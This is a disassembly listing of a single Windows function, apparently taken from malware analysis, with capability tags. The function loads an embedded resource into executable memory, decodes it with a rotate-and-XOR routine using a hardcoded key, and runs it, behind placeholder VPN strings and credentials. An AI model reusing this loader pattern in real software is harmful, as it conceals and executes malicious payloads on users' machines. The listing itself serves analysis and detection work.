Function at 0x403060
Capabilities:
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push edi
xor edi, edi
push edi
call esi
push str.VirtualAlloc
push str.Kernel32.dll
mov ebx, eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0xa
push 0x1bc
push ebx
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x403362
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push ebx
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
mov eax, dword [ebp - 4]
test eax, eax
je 0x403362
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0x40
push 0x1000
push esi
push edi
mov dword [ebp - 4], eax
call dword [ebp - 0xc]
mov ebx, eax
mov dword [ebp - 0xc], ebx
test ebx, ebx
je 0x403362
push esi
push dword [ebp - 4]
push ebx
call fcn.00407790
push 0x2faf080
call fcn.0040b029
add esp, 0x10
mov dword [ebp - 4], eax
test eax, eax
je 0x403362
push 0x2faf080
push 0xff
push eax
call fcn.00407d10
add esp, 0xc
xor ecx, ecx
test esi, esi
je 0x403143
mov al, byte [ebx + ecx]
ror al, 3
xor al, byte [edi + str.oslxqxcmgfxjq]
mov byte [ebx + ecx], al
lea eax, [edi + 1]
mov edi, 0xd
cdq
idiv edi
inc ecx
mov edi, edx
cmp ecx, esi
jb 0x403122
mov eax, dword [ebp - 0xc]
call eax
push dword [ebp - 4]
call fcn.0040b00e
add esp, 4
mov dword [ebp - 0x18], 0
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
push eax
call fcn.00401d20
mov ebx, dword [ebp - 0x18]
mov esi, ebx
mov edi, dword [ebp - 0x14]
cmp ebx, edi
je 0x4031f0
nop dword [eax]
push esi
push 0x42df28
call fcn.004010d0
mov ebx, eax
mov ecx, dword [ebx]
mov ecx, dword [ecx + 4]
mov ecx, dword [ecx + ebx + 0x30]
mov edi, dword [ecx + 4]
mov ecx, edi
mov dword [ebp - 4], edi
mov edx, dword [edi]
call dword [edx + 4]
lea eax, [ebp - 8]
push eax
call fcn.00401550
mov edx, dword [edi]
add esp, 4
mov ecx, edi
mov dword [ebp - 0xc], eax
call dword [edx + 8]
test eax, eax
je 0x4031c5
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov ecx, dword [ebp - 0xc]
push 0xa
mov eax, dword [ecx]
mov eax, dword [eax + 0x20]
call eax
movzx eax, al
mov ecx, ebx
push eax
call fcn.00402e10
mov ecx, ebx
call fcn.00402bf0
mov edi, dword [ebp - 0x14]
add esi, 0x18
cmp esi, edi
jne 0x403180
mov ebx, dword [ebp - 0x18]
push 5
push str.MyVPN
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], 0
mov byte [ebp - 0x30], 0
call fcn.00402800
push 0xf
push str.vpn.example.com
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x64], 0xf
mov dword [ebp - 0x68], 0
mov byte [ebp - 0x78], 0
call fcn.00402800
push 4
push str.user
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x4c], 0xf
mov dword [ebp - 0x50], 0
mov byte [ebp - 0x60], 0
call fcn.00402800
push 4
push str.pass
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x34], 0xf
mov dword [ebp - 0x38], 0
mov byte [ebp - 0x48], 0
call fcn.00402800
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.00401c90
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.00401be0
push 0
call 0x400000
mov eax, dword [ebp - 0x34]
cmp eax, 0x10
jb 0x4032ad
push 1
inc eax
push eax
push dword [ebp - 0x48]
call fcn.00401ff0
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x34], 0xf
mov dword [ebp - 0x38], 0
mov byte [ebp - 0x48], 0
cmp eax, 0x10
jb 0x4032d3
push 1
inc eax
push eax
push dword [ebp - 0x60]
call fcn.00401ff0
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x4c], 0xf
mov dword [ebp - 0x50], 0
mov byte [ebp - 0x60], 0
cmp eax, 0x10
jb 0x4032f9
push 1
inc eax
push eax
push dword [ebp - 0x78]
call fcn.00401ff0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x64], 0xf
mov dword [ebp - 0x68], 0
mov byte [ebp - 0x78], 0
cmp eax, 0x10
jb 0x40331f
push 1
inc eax
push eax
push dword [ebp - 0x30]
call fcn.00401ff0
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], 0
mov byte [ebp - 0x30], 0
test ebx, ebx
je 0x403362
push dword [ebp - 0xc]
lea eax, [ebp - 0x18]
push eax
push edi
push ebx
call fcn.00401370
mov ecx, dword [ebp - 0x10]
mov eax, 0x2aaaaaab
sub ecx, ebx
imul ecx
push 0x18
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
push eax
push ebx
call fcn.00401ff0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10